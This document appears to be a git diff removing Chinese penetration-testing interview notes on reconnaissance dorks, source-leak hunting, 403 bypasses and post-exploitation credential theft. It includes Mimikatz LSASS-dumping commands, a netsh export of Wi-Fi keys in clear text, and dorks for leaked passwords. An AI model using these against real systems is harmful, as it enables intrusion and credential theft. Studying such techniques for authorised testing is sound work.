- 即使一个 IP 地址**没有 ICP 备案**，但只要它使用了与主站**相同的证书**，就可以被判定为同一组织所有。
|
||||
- **Fofa 搜索示例**：你可以使用 `cert="目标证书特征值"` 来查找所有使用该证书的资产，包括那些未公开的 IP
|
||||
|
||||
|
||||
|
||||
**2. 标识图标关联法**
|
||||
|
||||
许多组织会为他们的所有内部或外部系统使用一套标准的图标或 Favicon（收藏夹图标）
|
||||
|
||||
- **指纹**：网站的 **Favicon.ico** 文件。由于这个文件的内容是唯一的，可以计算其 **Hash 值**
|
||||
|
||||
- **方法**：
|
||||
|
||||
1. 访问目标**主站**，提取其 Favicon 文件
|
||||
2. 计算该文件的 **MD5 Hash**（在 Fofa/Quake 中通常使用 `icon_hash` 语法）
|
||||
3. 在网络空间测绘平台中使用该 Hash 值进行搜索
|
||||
|
||||
- **工具与案例解析 (案例 2)**：
|
||||
|
||||
> 无证书、无备案，用的主站的标识性图标 logo
|
||||
|
||||
- 一个没有证书、没有备案的 IP（可能是测试机或内部后台）使用了主站的图标，即刻暴露了它与目标的关联。
|
||||
- **Fofa 搜索示例**：使用 **`icon_hash="xxxxxxxxxx"`** 查找所有使用该图标的资产
|
||||
|
||||
|
||||
|
||||
**3. Body 内容关联法**
|
||||
|
||||
许多后台系统或测试环境，虽然域名和 IP 看起来毫不相关，但在页面的 HTML **主体（Body）**中会留下内部信息
|
||||
|
||||
- **指纹**：HTML 代码中的**版权声明、公司全称、项目名称、内部工单号**等
|
||||
|
||||
- **方法**：
|
||||
|
||||
1. 在测绘平台中使用 `body` 语法，搜索包含目标单位特有关键字的页面
|
||||
|
||||
- **案例解析 (案例 3)**：
|
||||
|
||||
> body带了目标单位、目标企业的信息，后台也有相关数据但域名、IP均不是目标单位
|
||||
|
||||
- **可能性**：这可能是**供应链资产**（目标公司使用了第三方供应商，但页面中留下了目标公司的名字）或员工私自搭建的系统
|
||||
- **搜索示例**：`body="XXX单位" && country="CN"`
|
||||
|
||||
|
||||
|
||||
**4. 定位未绑定域名的资产**
|
||||
|
||||
ICP 备案信息不仅包括域名，也包括**纯 IP 地址的备案**。这些纯 IP 资产往往是**直接暴露的**、未被域名解析隐藏的服务器。
|
||||
|
||||
- **指纹**：目标单位的 **ICP 备案名称**
|
||||
|
||||
- **方法**：利用测绘平台对 ICP 备案信息的索引，直接搜索目标单位的备案名称
|
||||
|
||||
- **案例解析 (案例 4)**：
|
||||
|
||||
> 备案了的纯 IP的资产。
|
||||
|
||||
- 这通常是 CDN 节点、API 服务器、或不希望被域名解析的特定服务
|
||||
- **Fofa 搜索示例**：使用 **`icp.name="XXX单位全称"`**，平台会返回所有以该名称备案的域名和纯 IP 地址
|
||||
|
||||
|
||||
|
||||
**5. 子域名与非主站资产发现**
|
||||
|
||||
被遗忘的旧子域、开发或测试环境往往安全配置较弱。
|
||||
|
||||
- **指纹：** 子域关键词 (`dev`, `test`, `stage`, `beta`, `old`)
|
||||
- **方法：** 利用 `site:` 排除主站，并结合 `inurl:` 或 `intitle:` 查找特定关键词。
|
||||
- **案例解析 (案例 1)：**
|
||||
- **目标：** 发现目标域名下除 `www` 之外的所有子域名。
|
||||
- **Google Dork：** `site:target.com -www`
|
||||
- **目标：** 查找任何 URL 或标题中包含“测试”或“开发”的页面。
|
||||
- **Google Dork：** `site:target.com inurl:test OR inurl:dev intitle:stage`
|
||||
|
||||
|
||||
|
||||
**6. 敏感文件与目录暴露**
|
||||
|
||||
错误配置导致敏感文件（如数据库备份、环境配置）被 Google 索引
|
||||
|
||||
- **指纹：** 敏感文件类型或关键词 (`.env`, `.sql`, `bak`, `config`, `password`)
|
||||
- **方法：** 利用 `filetype:` 限制文件类型，或利用 `intitle:` 查找开放目录
|
||||
- **案例解析 (案例 2)：**
|
||||
- **目标：** 发现目标域名下暴露的数据库备份文件和配置文件
|
||||
- **Google Dork：** `site:target.com filetype:sql OR filetype:bak OR filetype:env`
|
||||
- **目标：** 查找目标域名下的开放目录列表（可能暴露文件结构）
|
||||
- **Google Dork：** `site:target.com intitle:"index of" "parent directory"`
|
||||
|
||||
|
||||
|
||||
**7. 第三方平台信息泄漏：定位云存储和代码库**
|
||||
|
||||
许多组织会在云存储服务（如 S3）或代码托管平台（如 GitHub）上无意暴露信息
|
||||
|
||||
- **指纹：** 外部平台特征关键词 (`amazonaws.com`, `blob.core.windows.net`, `github.com`) 和敏感信息关键词 (`API KEY`, `secret`)
|
||||
- **方法：** 结合外部域名与目标公司名称或目标域名
|
||||
- **案例解析 (案例 3)：**
|
||||
- **目标：** 查找与目标公司名相关的、被公开索引的 AWS S3 存储桶
|
||||
- **Google Dork：** `intitle:"index of" "target-corp-name" "amazonaws.com"`
|
||||
- **目标：** 查找目标域名在代码仓库中意外暴露的凭证信息
|
||||
- **Google Dork：** `site:github.com "target.com" intext:"password" OR intext:"API KEY"`
|
||||
|
||||
|
||||
|
||||
**8. 邮箱系统与服务域名关联**
|
||||
|
||||
企业邮箱的域名通常与企业的主域名保持一致，但有时会是独立的域名用于隔离服务
|
||||
|
||||
- **操作**：在 **爱企查** 等企业信息平台上获取目标的**联系邮箱**（例如 `hr@newcorp.com`）
|
||||
- **资产发现**：
|
||||
- 邮箱的后缀 (`newcorp.com`) 立刻成为一个新的**主域名**
|
||||
- 通过对该域名进行 **MX 记录查询**，可以发现企业邮箱服务器的真实域名或 IP 地址，这可能暴露目标正在使用的邮件服务提供商或自建邮件服务器
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,24 +0,0 @@
|
||||
### 移动端怎么收集域名呢
|
||||
|
||||
**1. 移动端与新媒体资产关联（绕过备案）**
|
||||
|
||||
许多企业的新媒体和移动端服务由不同的团队或第三方开发，它们的域名往往独立于主站，且防护薄弱
|
||||
|
||||
A. 微信生态资产（公众号/小程序）
|
||||
|
||||
这是进行资产收集的**高价值切入点**
|
||||
|
||||
- **操作**：通过 **微信内部的搜索功能**，输入目标单位的**全称、简称或产品名**
|
||||
- **资产发现**：
|
||||
- **公众号**：许多企业会将公众号的菜单链接到**独立的 WEB 页面**或**自建的 Web 应用**。通过关注公众号并点击菜单栏链接，或抓取其历史文章中的外部链接，可以直接发现新的域名
|
||||
- **小程序**：小程序的接口请求通常指向**独立的 API 域名**或**云服务域名**。通过识别小程序，再进行抓包分析，即可获取新的接口和业务域名
|
||||
- **扩展思路（同主体关联）**：在小程序中，查看该小程序账号所关联的**其他小程序**。这些关联的小程序大概率也属于目标单位的资产范围，可以作为新的信息收集起点
|
||||
|
||||
B. APP 应用提取域名（代码泄露）
|
||||
|
||||
移动应用程序是隐藏 Web 资产的宝库，特别是那些用于 API 交互的域名
|
||||
|
||||
- **操作**：主要通过**反编译**和**信息提取**，而非“硬测”App 本身
|
||||
- **资产发现**：
|
||||
- **提取 URL**：使用自动化工具（如你提到的 **AppInfoScanner**）或反编译工具，直接从 **APK/IPA 文件**中提取所有硬编码的 URL 链接、IP 地址和 API 端点。这些端点往往是 Web 服务的入口
|
||||
- **老版本风险**：许多应用在初期开发时，安全措施（如代码混淆、加壳）较少。如果能找到**旧版本**的 APK，往往能更轻松地提取到清晰、完整的 Web 资产信息
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,37 +0,0 @@
|
||||
### SSL 证书有什么用，对信息收集有什么帮助
|
||||
|
||||
**SSL/TLS 证书的作用**
|
||||
|
||||
SSL/TLS 证书是网络安全中的基石，它主要有两大核心作用：
|
||||
|
||||
1. **加密通信（机密性）**：证书使得浏览器和服务器之间传输的数据流得以加密，防止数据在传输过程中被窃听或篡改。这是实现 **HTTPS**（HTTP Secure）的基础。
|
||||
2. **身份验证（可信度）**：证书证明了你所连接的服务器确实是它声称的那个组织所有。证书中包含的公钥由可信的**证书颁发机构（CA）**签名，用户可以验证该证书是否合法，从而建立对服务器身份的信任
|
||||
|
||||
**如何利用 HTTPS 证书收集子域名**
|
||||
|
||||
对于渗透测试和资产发现而言，SSL/TLS 证书是一个极其宝贵的**公共数据源**。它能帮助我们发现目标企业隐藏的、未公开的或用于测试的子域名。
|
||||
|
||||
**原理：证书透明度（Certificate Transparency, CT）**
|
||||
|
||||
为了防止证书颁发机构（CA）恶意签发证书，行业强制要求所有新签发的 SSL/TLS 证书必须记录在一个**公共、透明的日志系统**中。这些日志被称为 **证书透明度日志（CT Logs）**
|
||||
|
||||
这意味着，一旦目标企业为任何域名（无论是主站还是内部测试子域）签发了证书，这个域名就会被公开记录
|
||||
|
||||
**步骤：利用 CT Logs 发现资产**
|
||||
|
||||
1. **查找平台**：使用提供 CT Logs 搜索接口的平台，最著名且常用的就是 **`crt.sh`**
|
||||
2. **输入查询**：在 `crt.sh` 中输入目标企业的**顶级域名**或**公司名称**
|
||||
3. **提取域名**：搜索结果将返回所有与该企业相关的证书记录。你需要关注以下两个字段：
|
||||
- **Common Name (CN)**：证书的主要名称
|
||||
- **Subject Alternative Names (SAN)**：证书的**主题备用名称**。这是一个证书中最重要的资产字段，一个证书通常会保护多个子域名，这些子域名都会被列在 SANs 中
|
||||
|
||||
**案例说明**
|
||||
|
||||
假设你查询了主域名 `example.com`，可能会在 `crt.sh` 的结果中发现一个证书的 SAN 字段包含：
|
||||
|
||||
- `www.example.com` (已知主站)
|
||||
- `dev.example.com` (开发环境)
|
||||
- `api.internal.example.com` (内部 API 接口)
|
||||
- `old.hr-system.example.com` (遗留的 HR 系统)
|
||||
|
||||
这些被发现的子域名，往往是**非公开**或**非标准**的，但它们与主站共享相同的安全身份（证书），因此被确认为高价值的边缘资产
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,76 +0,0 @@
|
||||
### 说说源码泄露搜索
|
||||
|
||||
**1. 代码托管平台搜索（主战场）**
|
||||
|
||||
GitHub 和 Gitee 是最常见的代码泄露平台。搜索时需要利用它们的**高级搜索语法**来定位目标
|
||||
|
||||
| 平台 | 搜索目标 | 搜索语法/关键词 |
|
||||
| ---------------- | ---------------- | ------------------------------------------------------------ |
|
||||
| **GitHub/Gitee** | **公司/组织** | 搜索目标**公司名、产品名、项目代号**。 |
|
||||
| | **员工邮箱** | 搜索 **`@目标域名.com`**，定位到将工作邮箱用于个人 GitHub 的员工。 |
|
||||
| | **敏感文件** | `filename:config.php OR filename:database.yml "password"` |
|
||||
| | **硬编码凭证** | `API_KEY OR secret_token target_company` |
|
||||
| | **特定框架文件** | `path:src/main/resources/application.properties "jdbc"` |
|
||||
|
||||
**实战技巧**：
|
||||
|
||||
- **克隆工具**：使用专门的工具（如 **Gitrob**、**TruffleHog**）对已知的目标代码仓库进行扫描，它们能深度挖掘历史提交记录中的敏感信息，即使代码已经被删除
|
||||
- **搜索 Code**：直接在 GitHub 的“Code”选项卡下搜索，而不是在“Repositories”下，以确保搜索范围覆盖所有代码片段
|
||||
|
||||
|
||||
|
||||
**2. 公开网盘与存储服务**
|
||||
|
||||
员工可能会将项目代码或敏感文档存储在公开网盘上，以便于分享
|
||||
|
||||
- **平台**：百度网盘、Google Drive、OneDrive 等
|
||||
- **方法**：利用搜索引擎的高级语法，将网盘域名与目标公司名称关联
|
||||
- **百度网盘**：`site:pan.baidu.com "目标公司全称" OR "项目名称"`
|
||||
- **文件类型**：`filetype:zip OR filetype:rar OR filetype:7z "项目名称"`
|
||||
|
||||
|
||||
|
||||
**3. Web 服务器源码泄露与备份文件**
|
||||
|
||||
这类泄露是由于服务器配置错误或运维疏忽造成的，通常存在于已知的 Web 资产上
|
||||
|
||||
| 泄露类型 | 常见路径或指纹 | 搜索方法 |
|
||||
| -------------- | ------------------------------------------- | ------------------------------------------------------------ |
|
||||
| **Git 泄露** | 网站根目录下存在 `.git` 文件夹。 | 使用 **GitHack** 或 **Githug** 等工具，尝试下载整个 `.git` 仓库，恢复完整代码。 |
|
||||
| **SVN 泄露** | 网站根目录下存在 `.svn` 文件夹。 | 使用 **dvcs-ripper** 等工具进行恢复。 |
|
||||
| **编辑器备份** | 存在 `~`、`.bak`、`.old`、`.zip` 等扩展名。 | 对已知的 Web 路径进行字典爆破，例如 `index.php.bak`、`config.zip`、`backup2023.tar.gz`。 |
|
||||
| **目录遍历** | 网站开启了目录列表功能。 | 访问主目录、`uploads`、`download` 目录等，查找是否有可下载的源代码或配置文件。 |
|
||||
|
||||
|
||||
|
||||
**4. Pastebin/代码分享网站**
|
||||
|
||||
员工可能会为了调试或寻求帮助，将包含敏感代码或错误日志的代码片段发布到公共网站
|
||||
|
||||
- **平台**：Pastebin、Gist、CodePen、CSDN 等技术论坛或代码分享网站
|
||||
- **方法**：
|
||||
- 搜索目标**公司名称**、**IP 地址**、**内部域名**或**项目代号**
|
||||
- 搜索 API 请求的**错误信息**或**堆栈跟踪信息**，这些信息有时会暴露部分源代码路径或配置信息
|
||||
|
||||
|
||||
|
||||
**5. Docker Hub 或镜像仓库**
|
||||
|
||||
如果目标单位使用 Docker 进行部署，错误的配置可能导致 Docker 镜像或配置文件被公开
|
||||
|
||||
- **平台**：Docker Hub、私有或公共的镜像仓库
|
||||
- **方法**：
|
||||
- 搜索**组织名称**或**项目名称**，查找公开的 Docker 镜像
|
||||
- 分析镜像的 `Dockerfile` 或配置层，可能会发现泄露的构建过程和配置参数
|
||||
|
||||
|
||||
|
||||
**6. 企业协作与文档平台搜索**
|
||||
|
||||
这类平台是企业员工存放项目文档、会议记录、API 文档甚至代码片段的地方。如果权限设置不当，可能导致内部信息被公开或被搜索引擎抓取
|
||||
|
||||
| 平台 | 搜索目标 | 搜索方法/关键词 |
|
||||
| ------------------- | ------------------------ | ------------------------------------------------------------ |
|
||||
| **语雀 (Yuque)** | **项目文档、技术规范** | 使用搜索引擎高级语法，搜索 `site:yuque.com "目标公司名" OR "项目名称"` |
|
||||
| **飞书 (Feishu)** | **知识库、API 接口文档** | 使用搜索引擎搜索 `site:feishu.cn "目标公司名" intitle:API OR intitle:密钥` |
|
||||
| **钉钉 (DingTalk)** | **群文件、内部通知** | 搜索 `site:dingtalk.com "目标公司名" filetype:xls` 等，查找群文件或共享文档 |
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,53 +0,0 @@
|
||||
### 空白页面怎么绕过
|
||||
|
||||
在渗透测试中，遇到 **Nginx/Apache/IIS 的默认空白页面**（通常只显示一个“Welcome”或“It works!”）确实很常见。这些页面往往是一个**反向代理的占位符**，或者服务器上存在应用，但**没有正确配置根路由**
|
||||
|
||||
我们不能直接让 Google 告诉我们服务器的文件结构，但可以利用它强大的索引能力，去查找那些**包含应用路径、但尚未被正确映射到根目录**的内部链接或文件
|
||||
|
||||
**1. 查找 URL 中包含内部路径的索引页面**
|
||||
|
||||
目标是找到那些 URL 中已经暴露了应用的文件夹名称或特定文件路径的页面
|
||||
|
||||
- **Google Dork：**
|
||||
|
||||
```
|
||||
site:www.example.com inurl:/app/ OR inurl:/admin/ OR inurl:/client/ OR inurl:/upload/
|
||||
```
|
||||
|
||||
- **解析：**
|
||||
|
||||
- `site:www.example.com`：限定搜索范围在目标网站
|
||||
- `inurl:/app/ OR inurl:/admin/ ...`：强制 Google 搜索 URL 中包含这些**常见应用路径**的结果。如果这些路径存在，并且被 Google 索引，那么它们将绕过默认的空白页面，直接显示应用的真实页面
|
||||
|
||||
|
||||
|
||||
**2. 查找 HTML 标题中包含应用名称的页面**
|
||||
|
||||
如果应用的开发者为内部页面设置了标题（例如“MyWebApp Admin Panel”），但该应用未正确路由，Google 依然可能索引到它
|
||||
|
||||
- **Google Dork：**
|
||||
|
||||
```
|
||||
site:www.example.com intitle:"login" OR intitle:"dashboard" OR intitle:"admin panel"
|
||||
```
|
||||
|
||||
- **解析：**
|
||||
|
||||
- `intitle:"login" OR intitle:"dashboard"`：查找那些页面标题中包含应用程序常见关键词的结果。如果点击这些结果，往往就能**直接进入应用的登录页面**，从而确定应用的真实访问路径
|
||||
|
||||
|
||||
|
||||
**3. 查找特定的应用文件类型（可能暴露路径）**
|
||||
|
||||
许多 Web 应用都会在特定路径下放置配置文件或特定资源文件
|
||||
|
||||
- **Google Dork：**
|
||||
|
||||
```
|
||||
site:www.example.com (filetype:php OR filetype:jsp) inurl:config OR inurl:include
|
||||
```
|
||||
|
||||
- **解析：**
|
||||
|
||||
- `(filetype:php OR filetype:jsp)`：搜索特定的脚本文件
|
||||
- `inurl:config OR inurl:include`：进一步限定这些脚本文件位于常见的配置或包含目录下。搜索结果的 URL 往往会暴露完整的应用部署路径
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,50 +0,0 @@
|
||||
### JS 接口有什么作用
|
||||
|
||||
分析 JS 文件，特别是那些负责 AJAX 调用或定义 API 端点的代码，可以帮助渗透测试工程师获得以下几类关键信息：
|
||||
|
||||
**1. 发现隐藏的 API 端点**
|
||||
|
||||
这是 JS 分析最核心的作用。许多 Web 应用使用前端 JS 来与后端进行数据交互，但这些接口可能并未通过 URL 路径爆破暴露
|
||||
|
||||
- **暴露路径：** JS 文件中可能包含大量的 **硬编码 API 路径**，例如 `/api/v2/user/delete`、`/internal/data/export` 或 `/admin/config/save`。这些路径可能指向未文档化、未被使用的或仅供内部调用的功能
|
||||
- **绕过认证：** 发现的某些 API 路径可能在设计时依赖前端的认证逻辑，但后端缺乏严格的权限检查，从而实现**水平或垂直权限绕过**
|
||||
- **参数泄露：** JS 代码会暴露 API 调用所需的**参数名称和格式**，例如 `request.data.userId` 或 `request.data.authToken`，为后续的参数篡改和模糊测试提供依据
|
||||
|
||||
|
||||
|
||||
**2. 识别第三方服务与集成**
|
||||
|
||||
现代应用大量依赖第三方服务进行分析、存储或身份验证。
|
||||
|
||||
- **API 密钥/Token 泄露：** JS 文件中可能意外地硬编码了用于访问外部服务的敏感凭证，例如 **Google Maps API Key**、**AWS S3 访问凭证**、**支付网关密钥**（Stripe/PayPal Public Key）或 **Firebase 数据库配置**
|
||||
- **子域名/域名信息：** 可能会发现指向其他子域名或外部服务的域名，例如用于数据分析的 `analytics.target.com` 或用于文件存储的 `s3-bucket-name.amazonaws.com`，从而扩大资产范围
|
||||
|
||||
|
||||
|
||||
**3. 了解应用架构和业务逻辑**
|
||||
|
||||
JS 代码提供了应用如何工作的第一手资料，有助于构造更精准的测试用例。
|
||||
|
||||
- **输入验证逻辑：** 开发者有时会在前端 JS 中实现输入验证（如密码长度、邮箱格式）。了解这些前端规则有助于识别**哪些验证是仅在客户端执行**的，从而绕过验证，直接向后端发送非法数据
|
||||
- **版本和框架信息：** JS 文件名或头部注释通常会暴露所使用的 **前端框架（如 React, Vue, Angular）的版本号**，有助于发现已知的客户端漏洞
|
||||
|
||||
|
||||
|
||||
**4. 敏感信息和注释泄露**
|
||||
|
||||
开发者在调试或开发过程中留下的信息，可能直接暴露敏感数据
|
||||
|
||||
- **遗留代码和注释：** JS 文件中可能包含已弃用的功能代码或**包含凭证、逻辑说明或调试信息的注释**
|
||||
- **环境变量：** 某些构建工具会将 `.env` 文件中的**公开环境变量**打包进 JS 文件中，例如 `REACT_APP_API_URL` 或 `DEBUG_MODE=true`
|
||||
|
||||
**如何在信息收集中利用 JS 接口？**
|
||||
|
||||
渗透测试工程师通常通过以下工具和方法来分析 JS 接口：
|
||||
|
||||
1. **Spidering/爬虫：** 使用 Burp Suite 或 ZAP 等代理工具，在浏览目标网站时**捕获并保存所有加载的 JS 文件**
|
||||
2. **关键词搜索：** 对收集到的 JS 文件进行批量关键词搜索，寻找：
|
||||
- `api/`、`v1/`、`v2/` (API 版本和路径)
|
||||
- `secret`、`key`、`token`、`password` (凭证)
|
||||
- `.json`、`.xml`、`.env` (敏感文件)
|
||||
- `s3`、`aws`、`firebase` (第三方服务)
|
||||
3. **自动化工具：** 使用 **LinkFinder** 或 **JSFScan** 等工具，它们能自动解析 JS 文件，**提取潜在的 URL 路径和域名**，从而大大提高效率
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,42 +0,0 @@
|
||||
### 一个正在运行的网站访问敏感路径回显 403 的原因有哪些
|
||||
|
||||
**I. 基于客户端与网络限制的原因（绕过/更换）**
|
||||
|
||||
这类限制通常针对请求源头（IP 地址）或请求方式
|
||||
|
||||
| 原因 | 描述 | 渗透测试对策 |
|
||||
| -------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
|
||||
| **1. IP 地址被列入黑名单** | 您的请求 IP 地址被防火墙（如 WAF、IPtables）明确屏蔽 | **更换 IP 地址：** 使用代理、VPN 或云服务器重新发起请求 |
|
||||
| **2. 短时间内访问过多** | 自动化工具（如目录扫描、爬虫）导致您的请求频率过高，触发了限速或拒绝服务保护 | **更换 IP 或调整请求头：** 1. 更换 IP。 2. **修改 User-Agent 或 X-Forwarded-For (XFF) 头**，尝试绕过基于 XFF 的 WAF 拦截。 3. 降低工具的并发请求速率 |
|
||||
| **3. DNS 解析或拥塞** | DNS 解析到错误的地址，或服务器因连接用户过多/繁忙而智能屏蔽请求 | **稍后重试：** 等待服务器负载降低。 **手动更改 DNS：** 尝试使用公共 DNS 服务（如 Google DNS）重新解析 |
|
||||
|
||||
|
||||
|
||||
**II. 基于服务器配置错误的原因（绕过/Host 碰撞）**
|
||||
|
||||
这类限制通常是由于服务器配置不当，拒绝了未绑定域名的请求
|
||||
|
||||
| 原因 | 描述 | 渗透测试对策 |
|
||||
| ----------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
|
||||
| **4. 域名未绑定到空间** | 服务器接收到 IP 地址或未绑定域名的请求，但 Web 服务器（如 Nginx/Apache）拒绝处理。 | **Host 碰撞猜解：** 利用常见的虚拟主机名或**收集到的子域名**，通过修改 HTTP 请求头中的 **`Host` 字段**来尝试匹配正确的虚拟主机配置 |
|
||||
| **5. 不正确的协议访问** | 尝试以 HTTP 方式访问强制使用 SSL/TLS 连接（HTTPS）的网址 | **强制使用 HTTPS：** 将请求协议更改为 **`HTTPS`** |
|
||||
|
||||
|
||||
|
||||
**III. 基于文件/目录权限的原因（替换/绕过）**
|
||||
|
||||
这类限制是由于 Web 应用的文件系统或服务器配置阻止了特定操作或文件类型
|
||||
|
||||
| 原因 | 描述 | 渗透测试对策 |
|
||||
| --------------------------------------- | ------------------------------------------------------- | ------------------------------------------------------------ |
|
||||
| **6. 文件/目录缺乏执行权限** | 您访问的脚本文件（如 PHP、JSP）在当前目录下没有执行权限 | **更换目录或后缀：** 1. 尝试将文件上传到其他**具有执行权限**的目录（如 `uploads`）。 2. 尝试使用其他**允许执行的后缀**（如果配置允许） |
|
||||
| **7. 在不允许写操作的目录中执行写操作** | 尝试在只读目录中执行文件创建、写入或上传操作 | **更换目录/提权：** 1. 尝试上传到专门的**上传目录**或临时目录。 2. 如果是后渗透阶段，尝试**提权**以更改目录权限 |
|
||||
|
||||
|
||||
|
||||
**IV. 基于客户端/认证错误的原因**
|
||||
|
||||
| 原因 | 描述 | 渗透测试对策 |
|
||||
| ------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
|
||||
| **8. 身份验证失败** | 在需要身份验证的资源中输入了错误的用户名或密码 | **无：** 需要正确的凭证。应尝试**暴力破解**、**凭证填充**或其他**权限绕过漏洞** |
|
||||
| **9. 浏览器 SSL 不支持** | 浏览器版本过旧或配置不支持目标网站所需的 SSL/TLS 版本（如 SSL 128） | **更换浏览器/配置：** 使用最新版本的 Chrome、Firefox 或配置支持最新 TLS 协议（如 TLS 1.2/1.3）的工具或库 |
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,14 +0,0 @@
|
||||
### 目标存在非常牛的杀软导致无法上线 CS，但是有远控软件怎么做
|
||||
|
||||
**策略：利用开源工具窃取远控软件凭证**
|
||||
|
||||
核心思路是寻找那些可以**在目标主机上执行**且**不触发杀软告警**的工具，它们的目的不是恶意利用系统漏洞，而是**读取特定程序的本地存储的配置或内存数据**
|
||||
|
||||
**识别目标远控软件和凭证存储位置**
|
||||
|
||||
首先，需要判断目标主机上运行的远控软件是哪一个（如 **TeamViewer**、**AnyDesk**、**ToDesk** 等），然后研究这些软件是如何**存储其连接密码或配置信息**的
|
||||
|
||||
- **本地配置文件：** 许多远控软件会将密码或连接信息加密存储在本地的配置文件（如 `.conf`, `.ini`, 或**注册表项**）中
|
||||
- **内存信息：** 正在运行的远控软件进程的内存中，可能存在解密后的连接密码或会话密钥
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,48 +0,0 @@
|
||||
### 怎么收集主机上的所有有关密码的敏感信息
|
||||
|
||||
**1. Mimikatz 抓取系统和 RDP 凭证**
|
||||
|
||||
Mimikatz 是绕过 Windows 安全机制、在内存中抓取明文密码或哈希的旗舰工具
|
||||
|
||||
- **抓取系统登录密码/哈希 (LSASS 内存)：**
|
||||
|
||||
```
|
||||
mimikatz.exe
|
||||
privilege::debug
|
||||
sekurlsa::logonpasswords
|
||||
```
|
||||
|
||||
- **抓取 RDP/保存的 Windows 凭证 (Credential Manager)：**
|
||||
|
||||
```
|
||||
mimikatz.exe
|
||||
privilege::debug
|
||||
sekurlsa::credman
|
||||
```
|
||||
|
||||
|
||||
|
||||
**2. Wi-Fi 密码抓取**
|
||||
|
||||
作为渗透测试工程师，我们倾向于使用系统自带的命令来减少被检测的风险。
|
||||
|
||||
- **步骤一：导出所有 Wi-Fi 配置文件**
|
||||
|
||||
```powershell
|
||||
netsh wlan export profile key=clear folder=C:\Temp
|
||||
```
|
||||
|
||||
（注意：key=clear 会导出明文密码）
|
||||
|
||||
- **步骤二：提取密码** 读取导出的 `C:\Temp` 目录下的 XML 文件，搜索 `<keyMaterial>` 标签即可找到明文密码
|
||||
|
||||
|
||||
|
||||
**3. 针对特定软件凭证 (Xshell, Navicat, 浏览器)**
|
||||
|
||||
对于这些应用软件，通常需要找到对应的**开源解密工具**，这些工具通常托管在 GitHub 上，专门针对该软件的特定加密算法进行逆向和解密
|
||||
|
||||
- **一般操作流程：**
|
||||
1. 找到目标软件的配置文件或数据库文件（例如，Navicat 的 `.ncx` 文件、Chrome 的 `Login Data` SQLite 文件）
|
||||
2. 将文件下载到本地（如果权限允许）
|
||||
3. 使用对应的 GitHub 开源解密工具进行解密
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,37 +0,0 @@
|
||||
### Web 配置文件信息怎么收集
|
||||
|
||||
Web 配置文件通常包含连接数据库、调用第三方服务（API Key）、存储用户凭证加密密钥等高度敏感的信息。收集这些文件的目标路径和名称是信息搜集的重点
|
||||
|
||||
**1. ASP.NET 网站 (.NET/IIS)**
|
||||
|
||||
ASP.NET 网站的核心配置文件集中在应用的根目录，文件名固定，便于查找
|
||||
|
||||
| 目标文件 | 常见路径 | 敏感信息 |
|
||||
| ---------------- | -------------- | ------------------------------------------------------------ |
|
||||
| **`Web.config`** | Web 应用根目录 | **数据库连接字符串**（SQL Server/MySQL 等）、**加密密钥**（MachineKey）、**会话状态配置**、自定义应用设置 |
|
||||
|
||||
|
||||
|
||||
**2. PHP 网站 (LAMP/LEMP)**
|
||||
|
||||
PHP 网站的配置文件命名较为灵活，通常位于应用的根目录或专门的配置目录中。渗透测试时，需要重点关注包含 `db` 或 `conn` 字样的文件
|
||||
|
||||
| 目标文件 | 常见路径 | 敏感信息 |
|
||||
| ------------------ | ----------------------- | ------------------------------------------------------------ |
|
||||
| **`config.php`** | 根目录或 `/config` 目录 | 数据库连接参数、API Key、配置常量、**Redis/Memcached 连接信息** |
|
||||
| **`db.php`** | 根目录或 `/config` 目录 | **数据库主机、端口、用户名、密码** |
|
||||
| **`conn.php`** | 根目录或 `/config` 目录 | 数据库连接函数或代码 |
|
||||
| **`database.php`** | 根目录或 `/config` 目录 | 数据库连接配置 |
|
||||
|
||||
|
||||
|
||||
**3. Java/JSP 网站 (Tomcat/Spring)**
|
||||
|
||||
Java 应用的配置文件散布在 `WEB-INF/classes` 目录中，它们通常是**属性文件（Properties）** 或 **YAML/XML 格式**。此外，应用服务器本身的配置文件也是重要的目标
|
||||
|
||||
| 目标文件 | 常见路径 | 敏感信息 |
|
||||
| ---------------------- | ----------------------------------------- | ------------------------------------------------------------ |
|
||||
| **`.properties` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.properties`, `jdbc.properties`, `database.properties`, `db.properties` 等，包含**数据库连接、第三方服务配置** |
|
||||
| **`.yaml` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.yaml` 或 `application.yml`，**Spring Boot/Cloud** 应用的核心配置文件，包含所有敏感配置 |
|
||||
| **`web.xml`** | `webapps/[应用名称]/WEB-INF` 目录 | 部署描述符，可能包含**Servlet/Filter 的初始化参数**（如密码） |
|
||||
| **`tomcat-users.xml`** | `apache-tomcat/conf` 目录 | **Tomcat 管理后台的用户名和密码**，一旦获取，可直接控制应用服务器 |
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,39 +0,0 @@
|
||||
### phpinfo 页面你会关注哪些信息
|
||||
|
||||
**1. PHP 配置和安全设置**
|
||||
|
||||
这些信息直接决定了攻击的难度和可用方法
|
||||
|
||||
- **`disable_functions`**: 这是最关键的信息。如果这个列表为空，或者只禁用了少数函数，那么我就可以直接使用像 `system()`、`exec()`、`shell_exec()`、`passthru()` 等命令执行函数来获取 WebShell，进行系统命令执行
|
||||
- **`allow_url_fopen` 和 `allow_url_include`**: 如果这两个选项都为 `On`，则存在**远程文件包含 (RFI)** 漏洞的可能性。攻击者可以从远程服务器加载恶意 PHP 文件并执行
|
||||
- **`open_basedir`**: 如果这个选项设置了，它会限制 PHP 脚本只能在指定的目录及其子目录中操作。这能有效限制攻击者的权限，但我会寻找绕过它的方法
|
||||
- **`display_errors`**: 如果这个选项是 `On`，服务器会显示详细的错误信息，包括文件路径、数据库查询语句等。这些信息对于 SQL 注入、文件包含等漏洞的调试和利用非常有帮助
|
||||
